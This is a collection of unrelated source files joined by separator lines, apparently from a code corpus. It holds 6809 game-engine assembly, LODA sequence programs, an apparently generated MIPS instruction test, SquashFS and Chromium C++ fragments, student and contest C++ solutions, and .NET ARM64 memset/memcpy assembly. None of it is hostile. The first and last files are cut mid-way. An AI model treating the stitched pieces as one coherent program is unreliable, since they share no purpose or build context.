leax sizeof{COB},x
deca
bne DrawObjLoop@
DrawObjDone@
* 5. Advance render frame counter so new frame will be shown at next vsync
lda <Gfx_CurrentFieldCount * capture # of 60hz fields passed since last new frame displayed
inc <Gfx_LastRenderedFrame * when vertical retrace IRQ hits, it will switch to the newly rendered frame
ldb <Gfx_LastRenderedFrame * calculate index of next rendering buffer pair * 4
andb #1
eorb #1
lslb
lslb
stb <Gfx_RenderingFrameX4
cmpa #3
blo >
lda #2
! deca
sta <Obj_MotionFactor * A is number of 60hz fields dropped since last new frame displayed, minus one
* 6. Read input status
jsr Input_ReadKeyboard * Always read the keyboard
tst <Input_UseKeyboard
beq >
bra InputDone@
! jsr Input_ReadStateDigital
InputDone@
* 7. Calculate next frame background position (update Gfx_BkgrndNewX/Y)
lda <MemMgr_VirtualTable+VH_LVLOBJCODE1
sta $FFA3 * Map Level/Object code page at $6000 (fixme: is this needed here?)
jsr [Ldr_LDD.PtrCalcBkgrnd]
* Setup the RedrawOldX/Y coordinates for the next frame's background draw operation
* and update the starting X,Y coordinate of the new buffer pair to render
ldb <Gfx_RenderingFrameX4
ldx #Gfx_BkgrndStartXYList
abx * X is the effective address of the X coordinate for the new frame
ldu ,x
stu <Gfx_BkgrndRedrawOldX
ldu 2,x
stu <Gfx_BkgrndRedrawOldY
* Clip the new frame starting background position to legal limits, and
* Clip the New position coordinates so that the delta to redraw is within the background engine's legal limits
ldd <Gfx_BkgrndNewX
bpl >
ldd #0
! cmpd <Gfx_BkgrndStartXMax
bls >
ldd <Gfx_BkgrndStartXMax
! subd <Gfx_BkgrndRedrawOldX
cmpb #8
ble >
ldb #8
! cmpb #-8
bge >
ldb #-8
! addd <Gfx_BkgrndRedrawOldX
std <Gfx_BkgrndNewX
std ,x
lslb
rola
std <Gfx_BkgrndNewX2 * store X coordinate in pixels
ldd <Gfx_BkgrndNewY
bpl >
ldd #0
! cmpd <Gfx_BkgrndStartYMax
bls >
ldd <Gfx_BkgrndStartYMax
! subd <Gfx_BkgrndRedrawOldY
cmpb #12
ble >
ldb #12
! cmpb #-12
bge >
ldb #-12
! addd <Gfx_BkgrndRedrawOldY
std <Gfx_BkgrndNewY
std 2,x
* 8. Iterate through each object in the Current Object Table:
* - If (active & 1) == 0, then call reactivate function
* - else call update function
* the 8k heap block should already be mapped into 6809 address space at $6000
ldx <Obj_CurrentTablePtr
lda <Obj_NumCurrent
beq UpdateObjDone@
UpdateObjLoop@
pshs a,x
ldu COB.odtPtr,x
IFNE OBJPAGES-1
ldb [ODT.vpageAddr,u] * load the page number
stb $FFA3
ENDC
ldb COB.active,x
andb #1
beq >
* call Update function
jsr [ODT.update,u]
bra ThisObjUpdated@
* call Reactivate function
! jsr [ODT.reactivate,u]
ThisObjUpdated@
puls a,x
leax sizeof{COB},x
deca
bne UpdateObjLoop@
UpdateObjDone@
* Begin main loop again and wait until new frame has begun to display
IFDEF VISUALTIME
clr $FF9A * set border to black to indicate processing finished
ENDC
jmp mainloop
* The stack grows downwards from $4000
* We should save at least 64 bytes for the stack
rmb $3FC0-* * throw an error if Primary code page overflowed
***********************************************************
* The game directories and dynamic heap are stored in the first page of BASIC memory
* we need to store and retain the first $E00 bytes for compatibility with Disk BASIC
* routines (and other DOSes which may be loaded here in RAM)
* Note that this section ($0E00-$1FFF) will get relocated in the BIN file after
* assembly so that it is loaded at $4000 to avoid interfering with BASIC. It will
* be moved to its final place it $0E00 after DynoSprite starts, in MemMgr_MoveCode
org $0E00
IFNDEF PASS
ERROR Missing PASS definition!
ELSE
IFEQ PASS-1
* empty game directories
Gamedir_Tiles
Gamedir_Objects
Gamedir_Levels
Gamedir_Sounds
Gamedir_Images
ELSE
IFEQ PASS-2
* include game directories from auto-generated files
include gamedir-tiles.asm
include gamedir-objects.asm
include gamedir-levels.asm
include gamedir-sounds.asm
include gamedir-images.asm
ELSE
ERROR Invalid PASS definition!
ENDC
ENDC
ENDC
HeapStartAddress EQU *
***********************************************************
* The secondary code page is located in the last page of memory ($E000-$FFFF)
* Note that this section ($E000-$FFFF) will get relocated in the BIN file after
* assembly so that it is loaded at $6000 to avoid interfering with BASIC. It will
* be remapped to its final place it $E000 after DynoSprite starts, in MemMgr_MoveCode
org $E000
IFEQ CPU-6309
include graphics-blockdraw-6309.asm
ELSE
include graphics-blockdraw-6809.asm
ENDC
include graphics-bkgrnd.asm
include graphics-image.asm
include graphics-text.asm
include disk.asm
include decompress.asm
IFGT *-$FE00
Error "In main.asm: Secondary code page ($E000-FDFF) is too big!"
ENDC
***********************************************************
* Postlog: auto-execution
org $0176
jmp start
end start
|
; A276916: Subsequence of centered square numbers obtained by adding four triangles from A276914 and a central element, a(n) = 4*A276914(n) + 1.
; 1,5,41,61,145,181,313,365,545,613,841,925,1201,1301,1625,1741,2113,2245,2665,2813,3281,3445,3961,4141,4705,4901,5513,5725,6385,6613,7321,7565,8321,8581,9385,9661,10513,10805,11705,12013,12961,13285,14281,14621,15665,16021,17113,17485,18625,19013,20201,20605,21841,22261,23545,23981,25313,25765,27145,27613,29041,29525,31001,31501,33025,33541,35113,35645,37265,37813,39481,40045,41761,42341,44105,44701,46513,47125,48985,49613,51521,52165,54121,54781,56785,57461,59513,60205,62305,63013,65161,65885,68081,68821,71065,71821,74113,74885,77225,78013,80401,81205,83641,84461,86945,87781,90313,91165,93745,94613,97241,98125,100801,101701,104425,105341,108113,109045,111865,112813,115681,116645,119561,120541,123505,124501,127513,128525,131585,132613,135721,136765,139921,140981,144185,145261,148513,149605,152905,154013,157361,158485,161881,163021,166465,167621,171113,172285,175825,177013,180601,181805,185441,186661,190345,191581,195313,196565,200345,201613,205441,206725,210601,211901,215825,217141,221113,222445,226465,227813,231881,233245,237361,238741,242905,244301,248513,249925,254185,255613,259921,261365,265721,267181,271585,273061,277513,279005,283505,285013,289561,291085,295681,297221,301865,303421,308113,309685,314425,316013,320801,322405,327241,328861,333745,335381,340313,341965,346945,348613,353641,355325,360401,362101,367225,368941,374113,375845,381065,382813,388081,389845,395161,396941,402305,404101,409513,411325,416785,418613,424121,425965,431521,433381,438985,440861,446513,448405,454105,456013,461761,463685,469481,471421,477265,479221,485113,487085,493025,495013
mov $1,$0
div $1,2
mul $1,2
mul $1,$0
mul $1,2
add $1,$0
mul $1,4
add $1,1
|
ori $0,$0,13
ori $1,$0,14
ori $2,$0,17
ori $3,$0,22
ori $4,$0,29
ori $5,$0,38
ori $6,$0,49
ori $7,$0,62
ori $8,$0,77
ori $9,$0,94
ori $10,$0,113
ori $11,$0,134
ori $12,$0,157
ori $13,$0,182
ori $14,$0,209
ori $15,$0,238
ori $16,$0,269
ori $17,$0,302
ori $18,$0,337
ori $19,$0,374
ori $20,$0,413
ori $21,$0,454
ori $22,$0,497
ori $23,$0,542
ori $24,$0,589
ori $25,$0,638
ori $26,$0,689
ori $27,$0,742
ori $28,$0,797
ori $29,$0,854
ori $30,$0,913
ori $31,$0,974
nop
nop
nop
nop
nop
addi $6,$11,10689
beq $6,$6,label_0
nop
ori $1,$0,1
label_0:
addiu $18,$16,24804
beq $18,$18,label_1
nop
ori $1,$0,1
label_1:
andi $17,$26,4063
beq $17,$17,label_2
nop
ori $1,$0,1
label_2:
ori $11,$19,8620
beq $11,$19,label_3
nop
ori $1,$0,1
label_3:
xori $15,$28,7957
beq $15,$28,label_4
nop
ori $1,$0,1
label_4:
slti $0,$26,18849
beq $0,$26,label_5
nop
ori $1,$0,1
label_5:
sltiu $26,$8,15476
beq $26,$8,label_6
nop
ori $1,$0,1
label_6:
lui $0,18003
beq $0,$17,label_7
nop
ori $1,$0,1
label_7:
addi $0,$14,26305
bne $0,$14,label_8
nop
ori $1,$0,1
label_8:
addiu $27,$8,9274
bne $27,$8,label_9
nop
ori $1,$0,1
label_9:
andi $28,$1,7381
bne $28,$28,label_10
nop
ori $1,$0,1
label_10:
ori $26,$31,6811
bne $26,$31,label_11
nop
ori $1,$0,1
label_11:
xori $22,$4,7575
bne $22,$4,label_12
nop
ori $1,$0,1
label_12:
slti $11,$30,25548
bne $11,$30,label_13
nop
ori $1,$0,1
label_13:
sltiu $28,$21,9330
bne $28,$21,label_14
nop
ori $1,$0,1
label_14:
lui $11,7250
bne $11,$11,label_15
nop
ori $1,$0,1
label_15:
addi $12,$10,7662
blez $12,label_16
nop
ori $1,$0,1
label_16:
addiu $30,$30,15374
blez $30,label_17
nop
ori $1,$0,1
label_17:
andi $28,$21,21273
blez $28,label_18
nop
ori $1,$0,1
label_18:
ori $14,$4,10087
blez $14,label_19
nop
ori $1,$0,1
label_19:
xori $0,$9,21533
blez $0,label_20
nop
ori $1,$0,1
label_20:
slti $13,$24,15906
blez $13,label_21
nop
ori $1,$0,1
label_21:
sltiu $3,$16,27029
blez $3,label_22
nop
ori $1,$0,1
label_22:
lui $29,10096
blez $29,label_23
nop
ori $1,$0,1
label_23:
addi $11,$16,9525
bgtz $11,label_24
nop
ori $1,$0,1
label_24:
addiu $5,$27,10976
bgtz $5,label_25
nop
ori $1,$0,1
label_25:
andi $19,$4,18653
bgtz $19,label_26
nop
ori $1,$0,1
label_26:
ori $6,$10,12453
bgtz $6,label_27
nop
ori $1,$0,1
label_27:
xori $9,$3,5524
bgtz $9,label_28
nop
ori $1,$0,1
label_28:
slti $14,$0,2496
bgtz $14,label_29
nop
ori $1,$0,1
label_29:
sltiu $23,$24,25770
bgtz $23,label_30
nop
ori $1,$0,1
label_30:
lui $23,23883
bgtz $23,label_31
nop
ori $1,$0,1
label_31:
addi $23,$12,10889
bltz $23,label_32
nop
ori $1,$0,1
label_32:
addiu $2,$25,24267
bltz $2,label_33
nop
ori $1,$0,1
label_33:
andi $24,$26,3812
bltz $24,label_34
nop
ori $1,$0,1
label_34:
ori $0,$29,7128
bltz $0,label_35
nop
ori $1,$0,1
label_35:
xori $14,$4,17389
bltz $14,label_36
nop
ori $1,$0,1
label_36:
slti $27,$6,5464
bltz $27,label_37
nop
ori $1,$0,1
label_37:
sltiu $19,$18,2895
bltz $19,label_38
nop
ori $1,$0,1
label_38:
lui $10,17661
bltz $10,label_39
nop
ori $1,$0,1
label_39:
addi $27,$5,29518
bgez $27,label_40
nop
ori $1,$0,1
label_40:
addiu $12,$20,93
bgez $12,label_41
nop
ori $1,$0,1
label_41:
andi $20,$24,12856
bgez $20,label_42
nop
ori $1,$0,1
label_42:
ori $10,$11,20507
bgez $10,label_43
nop
ori $1,$0,1
label_43:
xori $26,$11,3327
bgez $26,label_44
nop
ori $1,$0,1
label_44:
slti $0,$25,10728
bgez $0,label_45
nop
ori $1,$0,1
label_45:
sltiu $13,$19,9686
bgez $13,label_46
nop
ori $1,$0,1
label_46:
lui $22,28714
bgez $22,label_47
nop
ori $1,$0,1
label_47:
|
; A108765: G.f. (1 - x + x^2)/((1-3*x)*(x-1)^2).
; 1,4,14,45,139,422,1272,3823,11477,34440,103330,310001,930015,2790058,8370188,25110579,75331753,225995276,677985846,2033957557,6101872691,18305618094,54916854304,164750562935,494251688829,1482755066512,4448265199562,13344795598713,40034386796167,120103160388530,360309481165620,1080928443496891,3242785330490705,9728355991472148,29185067974416478,87555203923249469,262665611769748443,787996835309245366,2363990505927736136,7091971517783208447,21275914553349625381,63827743660048876184,191483230980146628594,574449692940439885825,1723349078821319657519,5170047236463958972602,15510141709391876917852,46530425128175630753603,139591275384526892260857,418773826153580676782620,1256321478460742030347910,3768964435382226091043781,11306893306146678273131395,33920679918440034819394238,101762039755320104458182768,305286119265960313374548359,915858357797880940123645133,2747575073393642820370935456,8242725220180928461112806426,24728175660542785383338419337,74184526981628356150015258071,222553580944885068450045774274,667660742834655205350137322884,2002982228503965616050411968715,6008946685511896848151235906209,18026840056535690544453707718692,54080520169607071633361123156142,162241560508821214900083369468493,486724681526463644700250108405547,1460174044579390934100750325216710,4380522133738172802302250975650200,13141566401214518406906752926950671,39424699203643555220720258780852085,118274097610930665662160776342556328,354822292832791996986482329027669058
mov $2,2
lpb $0
sub $0,1
add $2,1
add $1,$2
mul $2,3
lpe
add $1,1
mov $0,$1
|
/**
* SquashFS delta tools
* (c) 2014 Michał Górny
* Released under the terms of the 2-clause BSD license
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <cerrno>
#include <cstring>
extern "C"
{
# include <sys/types.h>
# include <sys/stat.h>
# include <sys/mman.h>
# include <fcntl.h>
# include <unistd.h>
}
#include "util.hxx"
IOError::IOError(const char* text, int new_errno)
: std::runtime_error(text),
errno_val(new_errno)
{
}
MMAPFile::MMAPFile()
: fd(-1), pos(0), length(0), data(0)
{
}
MMAPFile::MMAPFile(const MMAPFile& ref)
// just copy the data necessary for read/seek
// but not the one needed to close/unmap
: fd(-1), pos(ref.pos), end(ref.end), length(0), data(ref.data)
{
}
MMAPFile::~MMAPFile()
{
close();
}
void MMAPFile::open(const char* path)
{
fd = ::open(path, O_RDONLY);
if (fd == -1)
throw IOError("Unable to open file", errno);
// this also checks whether the file is seekable
off_t size = lseek(fd, 0, SEEK_END);
if (size == -1)
{
close();
throw IOError("Unable to seek file (not a regular file?)", errno);
}
// size_t <- off_t
length = size;
data = mmap(0, size, PROT_READ, MAP_SHARED, fd, 0);
if (data == MAP_FAILED)
{
close();
throw IOError("Unable to mmap() file", errno);
}
pos = static_cast<char*>(data);
end = pos + length;
}
void MMAPFile::close()
{
bool munmap_failed = false;
bool close_failed = false;
if (data && length > 0)
{
if (::munmap(data, length) == -1)
munmap_failed = true;
data = 0;
length = 0;
pos = 0;
}
if (fd != -1)
{
if (::close(fd) == -1)
close_failed = true;
fd = -1;
}
if (munmap_failed && close_failed)
throw IOError("Unable to unmap and close file", errno);
else if (munmap_failed)
throw IOError("Unable to unmap file (yet it was closed)", errno);
else if (close_failed)
throw IOError("Unable to close file", errno);
}
void MMAPFile::seek(ssize_t offset, std::ios_base::seekdir whence)
{
char* newpos;
if (!data)
throw std::logic_error("Seeking closed file");
switch (whence)
{
case std::ios::beg:
newpos = static_cast<char*>(data);
break;
case std::ios::cur:
newpos = pos;
break;
case std::ios::end:
newpos = end;
break;
default:
throw std::logic_error("Invalid value for whence");
}
newpos += offset;
if (newpos > end)
throw std::runtime_error("EOF while seeking");
pos = newpos;
}
SparseFileWriter::SparseFileWriter()
: offset(0), fd(-1)
{
}
SparseFileWriter::~SparseFileWriter()
{
if (fd != -1)
::close(fd);
}
void SparseFileWriter::open(const char* path, off_t expected_size)
{
fd = creat(path, 0666);
if (fd == -1)
throw IOError("Unable to create file", errno);
if (expected_size > 0)
posix_fallocate(fd, 0, expected_size);
}
void SparseFileWriter::close()
{
if (fd == -1)
throw std::runtime_error("File is already closed!");
if (::close(fd) == -1)
throw IOError("close() failed", errno);
fd = -1;
}
void SparseFileWriter::write(const void* data, size_t length)
{
const char* buf = static_cast<const char*>(data);
while (length > 0)
{
ssize_t ret = ::write(fd, buf, length);
if (ret == -1)
throw IOError("write() failed", errno);
length -= ret;
buf += ret;
offset += ret;
}
}
void SparseFileWriter::write_sparse(size_t length)
{
off_t past = offset + length;
if (ftruncate(fd, past) == -1)
throw IOError("ftruncate() failed to extend the sparse file", errno);
if (lseek(fd, length, SEEK_CUR) == -1)
throw IOError("lseek() failed to seek past sparse block", errno);
offset = past;
}
TemporarySparseFileWriter::TemporarySparseFileWriter()
{
}
TemporarySparseFileWriter::~TemporarySparseFileWriter()
{
if (buf[0] == '\0')
return;
// unlink the file only in parent process
if (parent_pid == getpid())
unlink(name());
}
void TemporarySparseFileWriter::open(off_t expected_size)
{
parent_pid = getpid();
strcpy(buf, tmpfile_template);
fd = mkstemp(buf);
if (fd == -1)
throw IOError("Unable to create a temporary file", errno);
if (expected_size > 0)
posix_fallocate(fd, 0, expected_size);
}
const char* TemporarySparseFileWriter::name()
{
return buf;
}
void TemporarySparseFileWriter::close()
{
SparseFileWriter::close();
// unlink the file only in parent process
if (parent_pid == getpid() && unlink(name()) == -1)
throw IOError("Unable to unlink the temporary file", errno);
buf[0] = '\0';
}
|
/* Димитър Валериев Трифонов, КН, 50Б, 146518 */
// STL solution
/*
Задача 1. Даден е списък от цели числа. Да се напише програма, която
пресмята средно-аритметичното на положителните елементи от списъка.
*/
#include "stdafx.h"
#include <iostream>
#include <list>
int main() {
std::list<int> myList;
char valueControl = '0';
int elementOfList, numberOfPositiveElements = 0, sumOfPositiveElements = 0;
// Enter data into the list
while (valueControl != 'n'){
std::cout << "Integer element value to add to list: "; std::cin >> elementOfList;
myList.push_back(elementOfList);
if (myList.back() > 0) {
sumOfPositiveElements += myList.back();
numberOfPositiveElements++;
}
std::cout << "Add another element? Enter 'n' to stop: "; std::cin >> valueControl;
}
// Display end result
if (numberOfPositiveElements != 0) {
std::cout << std::endl << "Average of positive elements in list: " << (double)sumOfPositiveElements / numberOfPositiveElements << std::endl;
}
else { std::cout << std::endl << "No positive elements in list." << std::endl; }
return 0;
} |
#include <stdio.h>
#include <iostream>
#include <set>
#include <algorithm>
using namespace std;
int main() {
int testcase, cases = 0;
int n, m, x, y;
scanf("%d", &testcase);
while (testcase--) {
scanf("%d %d", &n, &m);
char name[26][4], s1[4], s2[4], buf[26];
int g[26][26] = {};
for (int i = 0; i < n; i++)
scanf("%s", name[i]);
for (int i = 0; i < m; i++) {
scanf("%s %s", s1, s2);
x = s1[0] - 'A', y = s2[0] - 'A';
g[x][y] = g[y][x] = 1;
}
int st = name[0][0] - 'A', ed = name[n-1][0] - 'A';
set<string> dp[1<<16];
for (int i = (1<<n) - 1; i > 0; i--) {
int A[16], m = 0;
for (int j = 0; j < n; j++) {
if ((i>>j)&1)
A[m++] = name[j][0] - 'A';
}
if (m == n/2) {
int ok = 0, idx = 0;
for (int j = 0; j < m; j++) {
if (A[j] == st)
ok = 1, idx = j;
}
if (ok) {
swap(A[0], A[idx]);
sort(A+1, A+m);
do {
int ok = 1;
for (int j = 1; j < m; j++)
if (!g[A[j]][A[j-1]])
ok = 0;
if (ok) {
for (int j = 0; j < m; j++)
buf[j] = A[j] + 'A';
buf[m] = '\0';
dp[i].insert(buf);
}
} while (next_permutation(A+1, A+m));
}
}
if (m == n - n/2) {
int ok = 0, idx = 0;
for (int j = 0; j < m; j++) {
if (A[j] == ed)
ok = 1, idx = j;
}
if (ok) {
swap(A[m-1], A[idx]);
sort(A, A+m-1);
do {
int ok = 1;
for (int j = 1; j < m; j++)
if (!g[A[j]][A[j-1]])
ok = 0;
if (ok) {
for (int j = 0; j < m; j++)
buf[j] = A[j] + 'A';
buf[m] = '\0';
dp[i].insert(buf);
}
} while (next_permutation(A, A+m-1));
}
}
}
printf("Case %d: ", ++cases);
string ret = "";
for (int i = (1<<n) - 1; i >= 0; i--) {
for (set<string>::iterator it = dp[i].begin(); it != dp[i].end(); it++) {
if ((*it)[0] == st + 'A') {
if (ret != "" && ret < *it) break;
for (set<string>::iterator jt = dp[((1<<n)-1)^i].begin();
jt != dp[((1<<n)-1)^i].end(); jt++) {
if (g[(*it)[it->length()-1]-'A'][(*jt)[0]-'A']) {
if (ret == "" || ret > *it + *jt)
ret = *it + *jt;
}
}
}
}
}
if (ret == "")
puts("impossible");
else {
puts(ret.c_str());
}
}
return 0;
}
/*
3
12 14
A B C D E F U V W X Y Z
A F
A V
B U
B W
C D
C V
D Y
D W
E X
E Z
F U
F Y
U Z
W X
3 2
A B C
A B
A C
4 5
L N I K
L N
I L
I N
K N
K I
*/
|
;
; Grundy Newbrain Specific libraries
;
; Stefano Bodrato - 19/05/2007
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
; This function is linked only in the CP/M extension version
; it calls the ROM functions via the CP/M facility
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
; Used internally only
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
;
; $Id: cpmzcall.asm,v 1.2 2015/01/19 01:33:00 pauloscustodio Exp $
;
PUBLIC ZCALL
.ZCALL
jp $f4fb ; CPMZCALL
|
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; See the LICENSE file in the project root for more information.
;; ==++==
;;
;;
;; ==--==
#include "ksarm64.h"
TEXTAREA
; Calls to JIT_MemSet is emitted by jit for initialization of large structs.
; We need to provide our own implementation of memset instead of using the ones in crt because crt implementation does not gurantee
; that aligned 8/4/2 - byte memory will be written atomically. This is required because members in a struct can be read atomically
; and their values should be written atomically.
;
;
;void JIT_MemSet(void *dst, int val, SIZE_T count)
;{
; uint64_t valEx = (unsigned char)val;
; valEx = valEx | valEx << 8;
; valEx = valEx | valEx << 16;
; valEx = valEx | valEx << 32;
;
; size_t dc_zva_size = 4ULL << DCZID_EL0.BS;
;
; uint64_t use_dc_zva = (val == 0) && !DCZID_EL0.p ? count / (2 * dc_zva_size) : 0; // ~Minimum size (assumes worst case alignment)
;
; // If not aligned then make it 8-byte aligned
; if(((uint64_t)dst&0xf) != 0)
; {
; // Calculate alignment we can do without exceeding count
; // Use math to avoid introducing more unpredictable branches
; // Due to inherent mod in lsr, ~7 is used instead of ~0 to handle count == 0
; // Note logic will fail is count >= (1 << 61). But this exceeds max physical memory for arm64
; uint8_t align = (dst & 0x7) & (~uint64_t(7) >> (countLeadingZeros(count) mod 64))
;
; if(align&0x1)
; {
; *(unit8_t*)dst = (unit8_t)valEx;
; dst = (unit8_t*)dst + 1;
; count-=1;
; }
;
; if(align&0x2)
; {
; *(unit16_t*)dst = (unit16_t)valEx;
; dst = (unit16_t*)dst + 1;
; count-=2;
; }
;
; if(align&0x4)
; {
; *(unit32_t*)dst = (unit32_t)valEx;
; dst = (unit32_t*)dst + 1;
; count-=4;
; }
; }
;
; if(use_dc_zva)
; {
; // If not aligned then make it aligned to dc_zva_size
; if(dst&0x8)
; {
; *(uint64_t*)dst = (uint64_t)valEx;
; dst = (uint64_t*)dst + 1;
; count-=8;
; }
;
; while(dst & (dc_zva_size - 1))
; {
; *(uint64_t*)dst = valEx;
; dst = (uint64_t*)dst + 1;
; *(uint64_t*)dst = valEx;
; dst = (uint64_t*)dst + 1;
; count-=16;
; }
;
; count -= dc_zva_size;
;
; while(count >= 0)
; {
; dc_zva(dst);
; dst = (uint8_t*)dst + dc_zva_size;
; count-=dc_zva_size;
; }
;
; count += dc_zva_size;
; }
;
; count-=16;
;
; while(count >= 0)
; {
; *(uint64_t*)dst = valEx;
; dst = (uint64_t*)dst + 1;
; *(uint64_t*)dst = valEx;
; dst = (uint64_t*)dst + 1;
; count-=16;
; }
;
; if(count & 8)
; {
; *(uint64_t*)dst = valEx;
; dst = (uint64_t*)dst + 1;
; }
;
; if(count & 4)
; {
; *(uint32_t*)dst = (uint32_t)valEx;
; dst = (uint32_t*)dst + 1;
; }
;
; if(count & 2)
; {
; *(uint16_t*)dst = (uint16_t)valEx;
; dst = (uint16_t*)dst + 1;
; }
;
; if(count & 1)
; {
; *(uint8_t*)dst = (uint8_t)valEx;
; }
;}
;
; Assembly code corresponding to above C++ method. JIT_MemSet can AV and clr exception personality routine needs to
; determine if the exception has taken place inside JIT_Memset in order to throw corresponding managed exception.
; Determining this is slow if the method were implemented as C++ method (using unwind info). In .asm file by adding JIT_MemSet_End
; marker it can be easily determined if exception happened in JIT_MemSet. Therefore, JIT_MemSet has been written in assembly instead of
; as C++ method.
LEAF_ENTRY JIT_MemSet
ands w8, w1, #0xff
mrs x3, DCZID_EL0 ; x3 = DCZID_EL0
mov x6, #4
lsr x11, x2, #3 ; x11 = count >> 3
orr w8, w8, w8, lsl #8
and x5, x3, #0xf ; x5 = dczid_el0.bs
cseleq x11, x11, xzr ; x11 = (val == 0) ? count >> 3 : 0
tst x3, (1 << 4)
orr w8, w8, w8, lsl #0x10
cseleq x11, x11, xzr ; x11 = (val == 0) && !DCZID_EL0.p ? count >> 3 : 0
ands x3, x0, #7 ; x3 = dst & 7
lsl x9, x6, x5 ; x9 = size
orr x8, x8, x8, lsl #0x20
lsr x11, x11, x5 ; x11 = (val == 0) && !DCZID_EL0.p ? count >> (3 + DCZID_EL0.bs) : 0
sub x10, x9, #1 ; x10 = mask
beq JIT_MemSet_0x80
movn x4, #7
clz x5, x2
lsr x4, x4, x5
and x3, x3, x4
tbz x3, #0, JIT_MemSet_0x2c
strb w8, [x0], #1
sub x2, x2, #1
JIT_MemSet_0x2c
tbz x3, #1, JIT_MemSet_0x5c
strh w8, [x0], #2
sub x2, x2, #2
JIT_MemSet_0x5c
tbz x3, #2, JIT_MemSet_0x80
str w8, [x0], #4
sub x2, x2, #4
JIT_MemSet_0x80
cbz x11, JIT_MemSet_0x9c
tbz x0, #3, JIT_MemSet_0x84
str x8, [x0], #8
sub x2, x2, #8
b JIT_MemSet_0x85
JIT_MemSet_0x84
stp x8, x8, [x0], #16
sub x2, x2, #16
JIT_MemSet_0x85
tst x0, x10
bne JIT_MemSet_0x84
b JIT_MemSet_0x8a
JIT_MemSet_0x88
dc zva, x0
add x0, x0, x9
JIT_MemSet_0x8a
subs x2, x2, x9
bge JIT_MemSet_0x88
JIT_MemSet_0x8c
add x2, x2, x9
JIT_MemSet_0x9c
b JIT_MemSet_0xa8
JIT_MemSet_0xa0
stp x8, x8, [x0], #16
JIT_MemSet_0xa8
subs x2, x2, #16
bge JIT_MemSet_0xa0
JIT_MemSet_0xb0
tbz x2, #3, JIT_MemSet_0xb4
str x8, [x0], #8
JIT_MemSet_0xb4
tbz x2, #2, JIT_MemSet_0xc8
str w8, [x0], #4
JIT_MemSet_0xc8
tbz x2, #1, JIT_MemSet_0xdc
strh w8, [x0], #2
JIT_MemSet_0xdc
tbz x2, #0, JIT_MemSet_0xe8
strb w8, [x0]
JIT_MemSet_0xe8
ret lr
LEAF_END
LEAF_ENTRY JIT_MemSet_End
nop
LEAF_END
; See comments above for JIT_MemSet
;void JIT_MemCpy(void *dst, const void *src, SIZE_T count)
;
; // If not aligned then make it 8-byte aligned
; if(((uintptr_t)dst&0x7) != 0)
; {
; // Calculate alignment we can do without exceeding count
; // Use math to avoid introducing more unpredictable branches
; // Due to inherent mod in lsr, ~7 is used instead of ~0 to handle count == 0
; // Note logic will fail if count >= (1 << 61). But this exceeds max physical memory for arm64
; uint8_t align = (dst & 0x7) & (~uint64_t(7) >> (countLeadingZeros(count) mod 64))
;
; if(align&0x1)
; {
; *(unit8_t*)dst = *(unit8_t*)src;
; dst = (unit8_t*)dst + 1;
; src = (unit8_t*)src + 1;
; count-=1;
; }
;
; if(align&0x2)
; {
; *(unit16_t*)dst = *(unit16_t*)src;
; dst = (unit16_t*)dst + 1;
; src = (unit16_t*)src + 1;
; count-=2;
; }
;
; if(align&0x4)
; {
; *(unit32_t*)dst = *(unit32_t*)src;
; dst = (unit32_t*)dst + 1;
; src = (unit32_t*)src + 1;
; count-=4;
; }
; }
;
; count-=16;
;
; while(count >= 0)
; {
; *(unit64_t*)dst = *(unit64_t*)src;
; dst = (unit64_t*)dst + 1;
; src = (unit64_t*)src + 1;
; *(unit64_t*)dst = *(unit64_t*)src;
; dst = (unit64_t*)dst + 1;
; src = (unit64_t*)src + 1;
; count-=16;
; }
;
; if(count & 8)
; {
; *(unit64_t*)dst = *(unit64_t*)src;
; dst = (unit64_t*)dst + 1;
; src = (unit64_t*)src + 1;
; }
;
; if(count & 4)
; {
; *(unit32_t*)dst = *(unit32_t*)src;
; dst = (unit32_t*)dst + 1;
; src = (unit32_t*)src + 1;
; }
;
; if(count & 2)
; {
; *(unit16_t*)dst = *(unit16_t*)src;
; dst = (unit16_t*)dst + 1;
; src = (unit16_t*)src + 1;
; }
;
; if(count & 1)
; {
; *(unit8_t*)dst = *(unit8_t*)src;
; }
;}
;
; Assembly code corresponding to above C++ method.
; See comments above for JIT_MemSet method
LEAF_ENTRY JIT_MemCpy
ands x3, x0, #7
movn x4, #7
clz x5, x2
beq JIT_MemCpy_0xa8
lsr x4, x4, x5
and x3, x3, x4
tbz x3, #0, JIT_MemCpy_0x2c
ldrsb w8, [x1], #1
strb w8, [x0], #1
sub x2, x2, #1
JIT_MemCpy_0x2c
tbz x3, #1, JIT_MemCpy_0x5c
ldrsh w8, [x1], #2
strh w8, [x0], #2
sub x2, x2, #2
JIT_MemCpy_0x5c
tbz x3, #2, JIT_MemCpy_0xa8
ldr w8, [x1], #4
str w8, [x0], #4
sub x2, x2, #4
b JIT_MemCpy_0xa8
JIT_MemCpy_0xa0
ldp x8, x9, [x1], #16
stp x8, x9, [x0], #16
JIT_MemCpy_0xa8
subs x2, x2, #16
bge JIT_MemCpy_0xa0
JIT_MemCpy_0xb0
tbz x2, #3, JIT_MemCpy_0xb4
ldr x8, [x1], #8
str x8, [x0], #8
JIT_MemCpy_0xb4
tbz x2, #2, JIT_MemCpy_0xc8
ldr w8, [x1], #4
str w8, [x0], #4
JIT_MemCpy_0xc8
tbz x2, #1, JIT_MemCpy_0xdc
ldrsh w8, [x1], #2
strh w8, [x0], #2
JIT_MemCpy_0xdc
tbz x2, #0, JIT_MemCpy_0xe8
ldrsb w8, [x1]
strb w8, [x0]
JIT_MemCpy_0xe8
ret lr
LEAF_END
LEAF_ENTRY JIT_MemCpy_End
nop
LEAF_END
; Must be at very end of file
END
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/content_settings/renderer/content_settings_agent_impl.h"
#include <utility>
#include <vector>
#include "base/bind.h"
#include "base/feature_list.h"
#include "base/metrics/histogram_macros.h"
#include "base/strings/string_number_conversions.h"
#include "components/client_hints/common/client_hints.h"
#include "components/content_settings/core/common/content_settings.h"
#include "components/content_settings/core/common/content_settings.mojom.h"
#include "components/content_settings/core/common/content_settings_pattern.h"
#include "components/content_settings/core/common/content_settings_utils.h"
#include "content/public/child/child_thread.h"
#include "content/public/common/client_hints.mojom.h"
